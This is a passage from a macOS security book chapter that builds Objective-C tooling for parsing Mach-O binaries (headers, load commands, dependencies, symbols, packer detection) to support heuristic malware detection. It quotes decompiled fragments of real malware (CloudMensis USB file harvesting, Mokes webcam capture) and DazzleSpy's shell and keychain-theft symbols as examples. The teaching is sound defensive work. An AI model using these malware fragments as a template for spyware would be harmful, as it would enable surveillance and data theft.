size 2. We also make use of the macho_arch_name_for_mach_header function to 
print out the name of each slice’s architecture 3.

If the user-specified file isn’t a well-formed universal or Mach-O binary, 
the function will fail. The code handles this, printing out a generic error 
message, as well as additional information for common errors 4.

If we add this code to the parseBinary project and then run it against the 
CloudMensis universal binary, it should print out the same offset and size 
values for the malware’s two embedded Mach-Os as the code that leveraged 
the NX* APIs:

% ./parseBinary CloudMensis/WindowServer
...
architecture 0
    offset 16384 (0x4000)
    size 708560 (0xacfd0)
    name x86_64
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architecture 1
    offset 737280 (0xb4000)
    size 688176 (0xa8030)
    name arm64

Now, what about finding the most compatible slice, or the one that the 
host would load and run if the universal binary were executed? The macho 
_best_slice function is designed to return exactly that. It takes a path to a 
file to inspect and a callback block to invoke with the best slice. Add the 
function in Listing 2-7 to the previous code.

result = macho_best_slice(argv[1],
^(const struct mach_header* _Nonnull slice, uint64_t offset, size_t sliceSize) {
    printf("best architecture\n");
    printf("offset %llu (%#llx)\n", offset, offset);
    printf("size %zu (%#zx)\n", sliceSize, sliceSize);
    printf("name %s\n\n", macho_arch_name_for_mach_header(slice));
});
if(0 != result) {
    printf("ERROR: macho_best_slice failed with %d\n", result);
}

Listing 2-7: Invoking macho_best_slice to find the best slice

If we run this against CloudMensis (on a version of macOS prior to 15), 
however, it fails with the value 86:

% ./parseBinary CloudMensis/WindowServer
...
ERROR: macho_best_slice failed with 86

According to the mach-o/utils.h header file, this error value maps to 
EBADARCH, which means none of the slices can load. This is odd, considering 
that the NXFindBestFatArch function identified the embedded ARM64 Mach-O 
binary as compatible with my Apple Silicon analysis machine. Moreover, this 
ARM64 Mach-O definitely runs, as you saw in Figure 2-2. It turns out, as is 
often the case with new APIs from Apple, that the macho_best_slice function 
was broken until macOS 15. On older versions of macOS, for any third-party 
universal binary on Apple Silicon systems, the function returns EBADARCH.

Reverse engineering, as well as studying the code of dyld,3 revealed the 
cause of the error: instead of passing a list of compatible CPU types (such as 
arm64 or x86_64) to the slice selection function, the code incorrectly passed 
in only the CPU type for which the operating system was compiled. On 
Apple Silicon, this CPU type is arm64e (CPU_SUBTYPE_ARM64E), used exclusively 
by Apple. This explains why the selection logic never chose slices in third-
party universal binaries, which are compiled as arm64 or x86_64 (but never 
arm64e), and instead returned the EBADARCH error.

You can read more about the bug in my write-up “Apple Gets an ‘F’ 
for Slicing Apples.”4 My analysis proposed a simple fix: instead of invok-
ing the GradedArchs::forCurrentOS method, Apple should have invoked 
GradedArchs::launchCurrentOS to obtain the correct list of compatible CPU 
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types. The good news is that Apple eventually took this recommendation, 
meaning that macho_best_slice on macOS 15 and above works as expected.

Now that you know how to parse universal binaries, let’s turn our atten-
tion to the Mach-O binaries embedded within them.5

Mach-O Headers
Mach-O binaries contain the information we’re after, such as dependencies 
and symbols. To programmatically extract these, we must parse the Mach-O’s  
header. In a universal binary, we can locate this header by analyzing the fat 
header and architecture structures, as you saw in the previous section. In a 
single-architecture, stand-alone Mach-O, finding the header is trivial, as it’s 
located at the start of the file.

Listing 2-8 follows the code that identifies the best Mach-O within a 
universal binary. It confirms that the slice is indeed a Mach-O, then handles 
cases in which a file is a stand-alone Mach-O.

NSData* data = [NSData dataWithContentsOfFile:[NSString stringWithUTF8String:argv[1]]];

struct mach_header_64* machoHeader = (struct mach_header_64*)data.bytes; 1

if( (FAT_MAGIC == fatHeader->magic) ||
    (FAT_CIGAM == fatHeader->magic) ) {
    // Removed the code that finds the best architecture, for brevity
    ...
    machoHeader = (struct mach_header_64*)(data.bytes + bestArch->offset); 2
}

if( (MH_MAGIC_64 == machoHeader->magic) || 3
    (MH_CIGAM_64 == machoHeader->magic) ) {
    printf("binary is Mach-O\n");
    // Add code here to parse the Mach-O.
}

Listing 2-8: Finding the relevant Mach-O header

After loading the file into memory, we typecast the bytes at the start of 
the file to a mach_header_64 structure 1. If the binary is universal, we find the 
fat_arch structure that describes the most compatible embedded Mach-O. 
Using this structure’s offset member, we update the pointer to point to the 
embedded binary 2.

Before we parse the binary, we must verify that the pointer really points 
to the start of the Mach-O. We take a simple verification approach: check-
ing for the presence of a Mach-O magic value 3. Because the binary’s 
header and the host machine architecture could have different endianness, 
the code checks for both the MH_MAGIC_64 and MH_CIGAM_64 constants, defined 
in Apple’s mach-o/loader.h header file:

#define MH_MAGIC_64 0xfeedfacf
#define MH_CIGAM_64 0xcffaedfe
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For the sake of simplicity, the code skips recommended sanity and error 
checks. For example, production code should, at the very minimum, ensure 
that the size of the read-in bytes is greater than sizeof(struct mach_header_64) 
before dereferencing offsets in the header.

N O T E  Mach-O headers are of  type mach_header or mach_header_64. Recent versions of macOS 
support 64-bit code only, so this section focuses on mach_header_64, defined in 
mach-o/loader.h.

Now that we’re sure we’re looking at a Mach-O, we can parse it. Listing 2-9 
defines a helper function named parseMachO for this purpose. It takes a 
pointer to the mach_header_64 structure.

void parseMachO(struct mach_header_64* header) {
    if(MH_CIGAM_64 == machoHeader->magic) {
        swap_mach_header_64(machoHeader, ((NXArchInfo*)NXGetLocalArchInfo())->byteorder);
    }
    ...
}

Listing 2-9: Swapping the Mach-O header to match the host’s byte ordering

Because the binary’s header and the host machine could have a differ-
ent endianness, the code first checks for the swapped Mach-O magic value. 
If you encounter it, swap the header via the swap_mach_header_64 API. Note 
here that the code makes use of the macOS NXGetLocalArchInfo function, 
but if you’re writing code for versions of macOS 13 or newer, you should 
use the more modern macho* APIs (again noting that the macho_best_slice 
function was broken until macOS 15).

To print out the Mach-O header, we write a helper function, printMachO 
Header (Listing 2-10).

void printMachOHeader(struct mach_header_64* header) {
    int32_t cpusubtype = 0;
    cpusubtype = header->cpusubtype & ~CPU_SUBTYPE_MASK;

    printf("Mach-O header\n");
    printf(" magic %#x\n", header->magic);
    printf(" cputype %u (%#x)\n", header->cputype, header->cputype);
    printf(" cpusubtype %u (%#x)\n", cpusubtype, cpusubtype);
    printf(" capabilities %#x\n", (header->cpusubtype & CPU_SUBTYPE_MASK) >> 24);

    printf(" filetype %u (%#x)\n", header->filetype, header->filetype);

    printf(" ncmds %u\n", header->ncmds);
    printf(" sizeofcmds %u\n", header->sizeofcmds);

    printf(" flags %#x\n", header->flags);
}

Listing 2-10: Printing out a Mach-O header
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You can find an overview of each header member in the comments of 
the mach_header_64 structure definition. For example, following the magic 
field are the two fields that describe the binary’s compatible CPU type and 
subtype. The cpusubtype member also contains the binary’s capabilities, and 
these can be extracted into their own field.

The file type indicates whether the binary is a stand-alone executable 
or a loadable library. The next fields describe the number and size of the 
binary’s load commands, which we’ll make extensive use of shortly. Finally, 
the flags member of the structure indicates additional optional features, such 
as whether the binary is compatible with address space layout randomization.

Let’s run the Mach-O parsing code against CloudMensis. After search-
ing the universal header, the tool finds the compatible Mach-O header and 
then prints it out:

% ./parseBinary CloudMensis/WindowServer
Mach-O header:
    magic 0xfeedfacf
    cputype 16777228 (0x100000c)
    cpusubtype 0 (0)
    capabilities 0
    filetype 2 (0x2)
    ncmds 28
    sizeofcmds 4192
    flags 0x200085

This output matches that of Apple’s otool, whose -h flag instructs it to 
print out the Mach-O header:

% otool -h CloudMensis/WindowServer
...
CloudMensis/WindowServer (architecture arm64):
Mach header
 magic       cputype    cpusubtype   caps   filetype  ncmds  sizeofcmds  flags
 0xfeedfacf  16777228   0            0x00   2         28     4192        0x00200085

Running otool with the -v flag converts the returned numerical values 
into symbols:

% otool -hv CloudMensis/WindowServer
...
CloudMensis/WindowServer (architecture arm64):
Mach header
magic        cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64  ARM64   ALL        0x00 EXECUTE  28    4192       NOUNDEFS DYLDLINK
                                                               TWOLEVEL PIE

These values confirm that our tool works as expected.
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Load Commands
Load commands are instructions to dyld that immediately follow the 
Mach-O header. A header field named ncmds specifies the number of load 
commands, and each command is a structure of type load_command contain-
ing the command type (cmd) and size (cmdsize), as you can see here:

struct load_command {
   uint32_t cmd;        /* type of load command */
   uint32_t cmdsize;    /* total size of command in bytes */
};

Some load commands describe the segments in the binary, such as the 
__TEXT segment that contains the binary’s code, while others describe depen-
dencies, the location of the symbol table, and more. As such, code that aims 
to extract information found within Mach-Os will generally start by parsing 
load commands.

Listing 2-11 defines a helper function named findLoadCommand for this pur-
pose. It takes a pointer to a Mach-O header and the type of load command 
to find. After locating the start of the load commands, it iterates over each to 
create an array containing commands that match the specified type.

NSMutableArray* findLoadCommand(struct mach_header_64* header, uint32_t type) {
    NSMutableArray* commands = [NSMutableArray array];
    struct load_command* command = NULL;

    command = (struct load_command*)((unsigned char*)header + sizeof(struct mach_header_64)); 1

    for(uint32_t i = 0; i < header->ncmds; i++) { 2
        if(type == command->cmd) { 3
            [commands addObject:[NSValue valueWithPointer:command]]; 4
        }
        command = (struct load_command*)((unsigned char*)command + command->cmdsize); 5
    }

    return commands;
}

Listing 2-11: Iterating over all load commands and collecting those that match a specified type

We start by calculating a pointer to the first load command, which 
immediately follows the Mach-O header 1. Then we iterate over all load 
commands, which appear one after another 2, and check the cmd member 
of each to see if it matches the specified type 3. As we can’t directly store 
pointers in an Objective-C array, we first create an NSValue object with the 
load command’s address 4. Finally, we advance to the next load command. 
Load commands can vary in size, so we use the current command’s cmdsize 
field 5 to find the next one.

With an understanding of load commands and a helper function that 
returns commands of interest, let’s now consider a few examples of pertinent 
information we can extract, starting with dependencies.
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Extracting Dependencies
One of the reasons to parse Mach-Os is to extract their dependencies: 
dynamic libraries that dyld will automatically load. Understanding the 
dependencies of a binary can provide insight into its likely capabilities 
or even uncover malicious dependencies. For example, CloudMensis 
links against the DiskArbitration framework, which provides APIs to 
interact with external disks. Using this framework’s APIs, the malware 
monitors for the insertion of removable USB drives so it can exfiltrate 
external files.

When writing code, we can often achieve the same outcome in several 
ways. For example, in Chapter 1, we extracted all loaded libraries and 
frameworks from a running process by leveraging vmmap. In this chapter, 
we’ll perform a similar task by manually parsing the Mach-O. This static 
approach will extract direct dependencies only, excluding recursion; that 
is to say, we won’t extract the dependencies of dependencies. Moreover, 
libraries directly loaded by the binary at runtime are not dependencies  
per se and thus will not be extracted. While simple, this technique should 
help us understand the Mach-O’s capabilities and doesn’t require exe-
cuting external binaries like vmmap. Also, the code will run against any 
Mach-O binary without requiring it to be currently executing.

Finding Dependency Paths
To extract a binary’s dependencies, we can enumerate its LC_LOAD_DYLIB load 
commands, each of which contains a path to a library or framework on 
which the Mach-O depends. The dylib_command structure describes these 
load commands:

struct dylib_command {
    uint32_t       cmd;          /* LC_ID_DYLIB, LC_LOAD_{,WEAK_}DYLIB, LC_REEXPORT_DYLIB */
    uint32_t       cmdsize;      /* includes pathname string */
    struct dylib   dylib;        /* the library identification */
};

We’ll extract these dependencies in a function named extractDependencies 
that accepts a pointer to a Mach-O header and returns an array containing 
the names of dependencies.

N O T E  To keep things simple, we won’t take into account LC_LOAD_WEAK_DYLIB load commands, 
which describe optional dependencies.

In Listing 2-12, the code starts by invoking the findLoadCommand helper 
function to find load commands whose type is LC_LOAD_DYLIB. It then iterates 
over each of these load commands to extract the dependency’s path.



Parsing Binaries   55

NSMutableArray* extractDependencies(struct mach_header_64* header) {
    ...
    NSMutableArray* commands = findLoadCommand(header, LC_LOAD_DYLIB);

    for(NSValue* command in commands) {
        // Add code here to extract each dependency.
    }

Listing 2-12: Finding all LC_LOAD_DYLIB load commands

Let’s now extract the name of each dependency. To understand how we’ll 
do so, take a look at the dylib structure that describes a dependency. This 
structure is the last member of the dylib_command structure used to describe 
LC_LOAD_DYLIB load commands:

struct dylib {
    union lc_str  name;                  /* library's path name */
    uint32_t timestamp;                  /* library's build time stamp */
    uint32_t current_version;            /* library's current version number */
    uint32_t compatibility_version;      /* library's compatibility vers number*/
};

Of interest to us is the structure’s name field, whose type is lc_str. A com-
ment in Apple’s loader.h file explains that we must first extract the offset to 
the dependency path and then use it to compute the path’s bytes and length 
(Listing 2-13).

NSMutableArray* dependencies = [NSMutableArray array];

for(NSValue* command in commands) {
    struct dylib_command* dependency = command.pointerValue; 1

    uint32_t offset = dependency->dylib.name.offset; 2
    char* bytes = (char*)dependency + offset;
    NSUInteger length = dependency->cmdsize-offset;

    NSString* path = [[NSString alloc] initWithBytes:bytes length:length encoding:NSUTF8 
    StringEncoding]; 3

    [dependencies addObject:path];
}

Listing 2-13: Extracting a dependency from an LC_LOAD_DYLIB load command

We previously stored the pointer to each matching load command as an 
NSValue object, so we must first extract these 1. Then we extract the offset to 
the dependency path and use it to compute the path’s bytes and length 2. 
Now we can easily extract the path into a string object and save it into an 
array 3. We return this array containing all dependencies once the enu-
meration is complete.



56   Chapter 2

When we compile and run this code against CloudMensis, it outputs 
the following:

% ./parseBinary CloudMensis/WindowServer
...
Dependencies: (count: 12): (
    ...
    "/usr/lib/libobjc.A.dylib",
    "/usr/lib/libSystem.B.dylib",
    ...
    "/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration",
    "/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration"
)

Notice the inclusion of the DiskArbitration framework we mentioned ear-
lier. Once again, we can use otool, this time with the -L flag, to confirm the 
accuracy of our code:

% otool -L CloudMensis/WindowServer
...
"/usr/lib/libobjc.A.dylib",
"/usr/lib/libSystem.B.dylib",
...
"/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration",
"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration"

The dependencies extracted from CloudMensis via otool match those 
extracted by our code, so we can move on to analyzing them.

Analyzing Dependencies
The majority of CloudMensis’s dependencies are system libraries and 
frameworks, such as libobjc.A.dylib and libSystem.B.dylib. Essentially all 
Mach-O binaries link against these, and from the point of view of malware 
detection, they’re uninteresting. However, the DiskArbitration dependency is 
notable, as it provides the DA* APIs to interact with external disks. Here is a 
snippet of CloudMensis’s decompiled binary code showing its interactions 
with the DiskArbitration APIs:

-(void)loop_usb {
    rax = DASessionCreate(**_kCFAllocatorDefault);
  1 DARegisterDiskAppearedCallback(rax, 0x0, OnDiskAppeared, 0x0);
    ...
}

int OnDiskAppeared() {
    ...
  2 r13 = DADiskCopyDescription(rdi);
    rax = CFDictionaryGetValue(r13, **_kDADiskDescriptionVolumeNameKey);
    r14 = [NSString stringWithFormat:@"/Volumes/%@", rax];
    ...

    rax = [functions alloc];
    r15 = [rax randPathWithPrefix:0x64 isZip:0x0];
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    rax = [FileTreeXML alloc];
    [rax startFileTree:r14 dropPath:r15];
    ...
    [rax MoveToFileStore:r15 Copy:0x0];
    rax = [NSURL fileURLWithPath:r14];
    r14 = [NSMutableArray arrayWithObject:rax];

    rax = [functions alloc];
    [rax SearchAndMoveFS:r14 removable:0x1];
    ...
}

First, in a function named loop_usb, the malware invokes various 
DiskArbitration APIs to register a callback that the operating system will 
invoke automatically once a new disk appears 1. When this OnDiskAppeared 
callback is invoked—for example, when an external USB drive is inserted—
it calls other DA* APIs, such as DADiskCopyDescription 2, to access information 
about the new disk. The remainder of the code in the OnDiskAppeared callback 
is responsible for generating a file listing, then copying files off the drive 
into a custom file store. These files eventually get exfiltrated to the attacker’s 
remote command-and-control server.

Let’s run the dependency code against another malware sample that 
leverages even more frameworks to achieve a wide range of offensive capa-
bilities. Mokes is a cross-platform cyber-espionage implant that has infected 
macOS users in attacks leveraging browser zero-days.6 Running the depen-
dency extractor code against the malware’s binary, named storeuserd, gener-
ates the following output:

% ./parseBinary Mokes/storeuserd
...
Dependencies: (count: 25): (
    "/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration",
    "/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit",
    "/System/Library/Frameworks/ApplicationServices.framework/Versions/A/ApplicationServices",
    "/System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices",
    "/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation",
    "/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation",
    "/System/Library/Frameworks/Security.framework/Versions/A/Security",
    "/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration",
    "/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa",
    "/System/Library/Frameworks/Carbon.framework/Versions/A/Carbon",
    "/System/Library/Frameworks/AudioToolbox.framework/Versions/A/AudioToolbox",
    "/System/Library/Frameworks/CoreAudio.framework/Versions/A/CoreAudio",
    "/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore",
    "/System/Library/Frameworks/AVFoundation.framework/Versions/A/AVFoundation",
    "/System/Library/Frameworks/CoreMedia.framework/Versions/A/CoreMedia",
    "/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit",
    "/System/Library/Frameworks/AudioUnit.framework/Versions/A/AudioUnit",
    "/System/Library/Frameworks/CoreWLAN.framework/Versions/A/CoreWLAN",
    ...
)
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Several of these dependencies shed light on the malware’s capabilities 
and could guide future analysis. For example, the malware leverages the 
AVFoundation framework to record audio and video from the mic and webcam 
of an infected host. It also uses CoreWLAN to enumerate and monitor network 
interfaces and DiskArbitration to monitor external storage drives to find and 
exfiltrate files of interest.

Of course, dependencies alone can’t prove that code is malicious. For 
example, a binary that links against the AVFoundation isn’t necessarily spy-
ing on the user; it might be a legitimate videoconferencing app or simply 
be making use of the framework for benign multimedia-related tasks. 
However, taking a look at the following snippet of disassembly from Mokes 
confirms that it does indeed leverage AVFoundation APIs in a nefarious 
manner:

rax = AVFAudioInputSelectorControl::createCaptureDevice();
...
rax = [AVCaptureDeviceInput deviceInputWithDevice:rax error:&var_28];
...
QMetaObject::tr(..., "Could not connect the video recorder");

This excerpt shows the code interfacing with the webcam to spy on 
victims.

Another reason to extract dependencies from a Mach-O binary is to 
detect malicious subversions. ZuRu is one such example. Its malware 
authors surreptitiously trojanized popular applications such as iTerm by 
adding a malicious dependency to them, then distributed the applications 
via sponsored ads that would appear as the first result when users searched 
online for the applications.

The subversion was stealthy, as it left the original application’s function-
ality wholly intact. However, extracting dependencies quickly reveals the 
malicious dependency. To demonstrate this, let’s first extract the dependen-
cies from a legitimate copy of iTerm2:

% ./parseBinary /Applications/iTerm.app/Contents/MacOS/iTerm2
...
Dependencies: (count: 33):
    "/usr/lib/libaprutil-1.0.dylib",
    "/usr/lib/libicucore.A.dylib",
    "/usr/lib/libc++.1.dylib",
    "@rpath/BetterFontPicker.framework/Versions/A/BetterFontPicker",
    "@rpath/SearchableComboListView.framework/Versions/A/SearchableComboListView",
    "/System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory",
    ...
    "/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore",
    "/System/Library/Frameworks/WebKit.framework/Versions/A/WebKit",
    "/usr/lib/libsqlite3.dylib",
    "/usr/lib/libz.1.dylib"
)

Nothing unusual here. Now, if we extract the dependencies from a tro-
janized instance of iTerm, we uncover a new dependency, libcrypto.2.dylib, 



Parsing Binaries   59

located in the application bundle. This dependency sticks out, not only 
because it doesn’t exist in the legitimate application but also because it’s the 
only dependency that uses the @executable_path variable:

% ./parseBinary ZuRu/iTerm.app/Contents/MacOS/iTerm2
...
Dependencies: (count: 34):
    "/usr/lib/libaprutil-1.0.dylib",
    "/usr/lib/libicucore.A.dylib",
    "/usr/lib/libc++.1.dylib",
    "@rpath/BetterFontPicker.framework/Versions/A/BetterFontPicker",
    "@rpath/SearchableComboListView.framework/Versions/A/SearchableComboListView",
    "/System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory",
    ...
    "/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore",
    "/System/Library/Frameworks/WebKit.framework/Versions/A/WebKit",
    "/usr/lib/libsqlite3.dylib",
    "/usr/lib/libz.1.dylib",
    "@executable_path/../Frameworks/libcrypto.2.dylib"
)

There is nothing inherently malicious about the @executable_path vari-
able; it simply tells the loader how to relatively resolve the library’s path 
(meaning the library is likely embedded in the same bundle as the execut-
able). Nevertheless, the addition of a new dependency that referenced a 
newly added library clearly warranted additional analysis, and such analysis 
revealed that the dependency contained all of the malware’s malicious logic.7

Extracting Symbols
A binary’s symbols contain the names of the binary’s functions or methods 
and those of the APIs it imports. These function names can reveal the file’s 
capabilities and even provide indicators that it is malicious. For example, 
let’s extract the symbols from malware called DazzleSpy using the macOS  
nm tool:

% nm DazzleSpy/softwareupdate
...
"+[Exec doShellInCmd:]",
"-[ShellClassObject startPty]",
"-[MethodClass getIPAddress]",
"-[MouseClassObject PostMouseEvent::::]",
"-[KeychainClassObject getPasswordFromSecKeychainItemRef:]"
...

From the format of these symbols, we can tell that the malware was 
written in Objective-C. The Objective-C runtime requires method names 
to remain intact in the compiled binary, so understanding the binaries’ 
capabilities is often relatively easy. For example, the symbols embedded in 
DazzleSpy reveal methods that appear to execute shell commands, survey 
the system, post mouse events, and steal passwords from the keychain.
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It’s worth noting, though, that nothing stops malware authors from 
using misleading method names, so you should never draw conclusions 
solely from extracted symbols. You might also encounter symbols that 
have been obfuscated (providing a pretty good indication that the binary 
has something to hide). Finally, the authors may have stripped a binary to 
remove symbols that aren’t essential for program execution.

Later in the nm symbol output for DazzleSpy, we also find APIs that the 
malware imports from system libraries and frameworks:

_bind
_connect
_AVMediaTypeVideo
_AVCaptureSessionRuntimeErrorNotification
_NSFullUserName
_SecKeychainItemCopyContent

These include networking APIs such as bind and connect related to 
the malware’s backdoor capabilities, AVFoundation imports related to its 
remote desktop capabilities, and APIs to survey a system and grab items 
from the victim’s keychain.

How can we extract a Mach-O binary’s symbols programmatically? As 
you’ll see, this requires yet again parsing the binary’s load commands. We’ll 
focus specifically on the LC_SYMTAB load command, which contains informa-
tion about a binary’s symbols found in the symbol table (hence the load 
command’s suffix SYMTAB). This load command consists of a symtab_command 
structure, defined in loader.h:

struct symtab_command {
    uint32_t        cmd;            /* LC_SYMTAB */
    uint32_t        cmdsize;        /* sizeof(struct symtab_command) */
    uint32_t        symoff;         /* symbol table offset */
    uint32_t        nsyms;          /* number of symbol table entries */
    uint32_t        stroff;         /* string table offset */
    uint32_t        strsize;        /* string table size in bytes */
};

The symoff member contains the offset of the symbol table, while nsyms 
contains the number of entries in this table. The symbol table consists of 
nlist_64 structures, defined in nlist.h:

struct nlist_64 {
    union {
        uint32_t  n_strx;  /* index into the string table */
    } n_un;
    uint8_t n_type;        /* type flag, see below */
    uint8_t n_sect;        /* section number or NO_SECT */
    uint16_t n_desc;       /* see <mach-o/stab.h> */
    uint64_t n_value;      /* value of this symbol (or stab offset) */
};
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Each nlist_64 structure in the symbol table contains an index to the 
string table, in the n_strx field. We can find the string table’s offset in the 
symtab_command structure’s stroff field. By adding the specified index from 
n_strx to this offset, we can retrieve the symbol as a NULL-terminated string. 
Thus, to extract a binary’s symbols, we must perform the following steps:

 1. Find the LC_SYMTAB load command that contains the symtab_command 
structure.

 2. Use the symoff member of the symtab_command structure to find the offset 
of the symbol table.

 3. Use the stroff member of the symtab_command structure to find the offset 
of the string table.

 4. Iterate through all of the symbol table’s nlist_64 structures to extract 
each symbol’s index (n_strx) into the string table.

 5. Apply this index to the string table to find the name of the symbol.

The function in Listing 2-14 implements these steps. Given a pointer to a 
Mach-O header, it saves all symbols into an array and returns it to the caller.

NSMutableArray* extractSymbols(struct mach_header_64* header) {
    NSMutableArray* symbols = [NSMutableArray array];

    NSMutableArray* commands = findLoadCommand(header, LC_SYMTAB);
    struct symtab_command* symTableCmd = ((NSValue*)commands.firstObject).pointerValue; 1

    void* symbolTable = (((void*)header) + symTableCmd->symoff); 2
    void* stringTable = (((void*)header) + symTableCmd->stroff); 3
    struct nlist_64* nlist = (struct nlist_64*)symbolTable; 4
    for(uint32_t j = 0; j < symTableCmd->nsyms; j++) { 5
        char* symbol = (char*)stringTable + nlist->n_un.n_strx; 6
        if(0 != symbol[0]) {
            [symbols addObject:[NSString stringWithUTF8String:symbol]];
        }
        nlist++;
    }
    return symbols;
}

Listing 2-14: Extracting a binary’s symbols

Because this function is somewhat involved, we’ll walk through it in detail. 
First, it finds the LC_SYMTAB load command by means of the findLoadCommand 
helper function 1. It then uses the fields in the load command’s symtab 
_command structure to compute the in-memory address of both the symbol 
table 2 and the string table 3. After initializing a pointer to the first 
nlist_64 structure, found at the start of the symbol table 4, the code iter-
ates over it and all subsequent nlist_64 structures 5. For each of these struc-
tures, it adds the index to the string table to compute the address of the 
symbol’s string representation 6. If the symbol is not NULL, the code adds it 
to an array to return to the caller.
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Let’s compile and run this code against DazzleSpy. As we can see, the 
code is able to extract the malware’s method names, as well as the API 
imports it invokes:

% ./parseBinary DazzleSpy/softwareupdate
...
Symbols (count: 3101): (

"-[ShellClassObject startPty]",
"-[ShellClassObject startTask]",

"-[MethodClass getDiskSize]",
"-[MethodClass getDiskFreeSize]",
"-[MethodClass getDiskSystemSize]",
"-[MethodClass getAllhardwareports]",
"-[MethodClass getIPAddress]",

"-[MouseClassObject PostMouseEvent::::]",
"-[MouseClassObject postScrollEvent:]",

"-[KeychainClassObject getPass:cmdTo:]",
"-[KeychainClassObject getPasswordFromSecKeychainItemRef:]",

"_bind",
"_connect",
...
"_AVMediaTypeVideo",
"_AVCaptureSessionRuntimeErrorNotification",
)

The ability to extract symbols from any Mach-O binary will improve our 
heuristic malware detection. Next, we’ll programmatically detect anomalous 
characteristics that often indicate a binary is up to something nefarious.

N O T E  Newer binaries may contain a LC_DYLD_CHAINED_FIXUPS load command that optimizes 
how symbols and imports are handled on recent versions of macOS. In this case, a 
different approach is needed to extract embedded symbols. See the extractChained 
Symbols function in the parseBinary project for more details and a programmatic 
implementation of such extraction.

Detecting Packed Binaries
An executable packer is a tool that compresses binary code to shrink its size 
for distribution. The packer inserts a small unpacker stub at the binary’s 
entry point, and this stub executes automatically when the packed program 
is run, restoring the original code in memory.

Malware authors are quite fond of packers, as compressed code is more 
difficult to analyze. Moreover, certain packers encrypt or further obfuscate 
the binary in an attempt to thwart signature-based detections and compli-
cate analysis. Legitimate software is rarely packed on macOS, so the ability 
to detect obfuscation can be a powerful heuristic for flagging binaries that 
warrant closer inspection.
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I’ll wrap up this chapter by showing how to detect packed and encrypted 
Mach-O binaries by looking for a lack of dependencies and symbols, anoma-
lous section and segment names, and high entropy.

Dependencies and Symbols
One simple, albeit somewhat naive, approach to packer detection is enu-
merating a binary’s dependencies and symbols—or, rather, lack thereof. 
Nonpacked binaries will always have dependencies on various system frame-
works and libraries such as libSystem.B.dylib, as well as imports from these 
dependencies. Packed binaries, on the other hand, may lack even a single 
dependency or symbol, as the unpacker stub will dynamically resolve and 
load any required libraries.

A binary with no dependencies or symbols is, at the very least, anoma-
lous, and our tool should flag it for analysis. For example, running the 
dependency and symbol extraction code against the oRAT malware finds 
no dependencies or symbols:

% ./parseBinary oRat/darwinx64
...
Dependencies: (count: 0): ( )
Symbols: (count: 0): ( )

Apple’s otool and nm confirm this absence as well:

% otool -L oRat/darwinx64
oRat/darwinx64:

% nm oRat/darwinx64
oRat/darwinx64: no symbols

It turns out oRAT is packed via UPX, a cross-platform packer that Mac 
malware authors favor. Examples of other macOS malware packed with 
UPX include IPStorm, ZuRu, and Coldroot.

Section and Segment Names
Binaries packed with UPX may contain UPX-specific section or segment 
names, such as __XHDR, UPX_DATA, or upxTEXT. If we find these names when 
parsing a Mach-O binary’s segments, we can conclude that the binary was 
packed. Other packers, such as MPress, add their own segment names, such 
as __MPRESS__.

The following code snippet, from UPX’s p_mach.cpp file,8 shows refer-
ences to nonstandard segment names:

if (!strcmp("__XHDR", segptr->segname)) {
    // PackHeader precedes __LINKEDIT
    style = 391;  // UPX 3.91
}
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if (!strcmp("__TEXT", segptr->segname)) {
    ptrTEXT = segptr;
    style = 391;  // UPX 3.91
}
if (!strcmp("UPX_DATA", segptr->segname)) {
    // PackHeader follows loader at __LINKEDIT
    style = 392;  // UPX 3.92
}

To retrieve a binary’s section and segment names, we can iterate through 
its load commands, looking for those of type LC_SEGMENT_64. These load com-
mands consist of segment_command_64 structures that contain a member named 
segname with the name of the segment. Here is the segment_command _64 structure:

struct segment_command_64 { /* for 64-bit architectures */
    uint32_t        cmd;            /* LC_SEGMENT_64 */
    uint32_t        cmdsize;        /* includes sizeof section_64 structs */
    char            segname[16];    /* segment name */
    ...
    uint32_t        nsects;         /* number of sections in segment */
    uint32_t        flags;          /* flags */
};

Any sections within the segment should immediately follow the segment  
_command_64 structure, whose nsects member specifies the number of sections. 
The section_64 structure, shown here, describes sections:

struct section_64 { /* for 64-bit architectures */
    char            sectname[16];   /* name of this section */
    char            segname[16];    /* segment this section goes in */
    ...
};

Since the segment name can be extracted from the segment_command_64 
structure, here we’re solely interested in the section name, sectname. To 
detect packers such as UPX, our code can iterate through each segment 
and its sections, comparing the names with those of common packers. First, 
though, we need a function that accepts a Mach-O header, then extracts 
the binary’s segments and sections. The extractSegments AndSections function 
 partially shown in Listing 2-15 does exactly this.

NSMutableArray* extractSegmentsAndSections(struct mach_header_64* header) {

    NSMutableArray* names = [NSMutableArray array];
    NSCharacterSet* nullCharacterSet = [NSCharacterSet
    characterSetWithCharactersInString:@"\0"];

    NSMutableArray* commands = findLoadCommand(header, LC_SEGMENT_64);
    for(NSValue* command in commands) {
        // Add code here to iterate over each segment and its sections.
    }
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    return names;
}

Listing 2-15: Retrieving a list of LC_SEGMENT_64 load commands

This code declares a few variables and then invokes the now-familiar 
findLoadCommand helper function with a value of LC_SEGMENT_64. Now that we 
have a list of the load commands describing each segment in the binary, we 
can iterate over each, saving their names and the names of all their sections 
(Listing 2-16).

NSMutableArray* extractSegmentsAndSections(struct mach_header_64* header) {
    NSMutableArray* names = [NSMutableArray array];
    ...

    for(NSValue* command in commands) {
        struct segment_command_64* segment = command.pointerValue; 1

        NSString* name = [[NSString alloc] initWithBytes:segment->segname
        length:sizeof(segment->segname) encoding:NSASCIIStringEncoding]; 2

        name = [name stringByTrimmingCharactersInSet:nullCharacterSet];
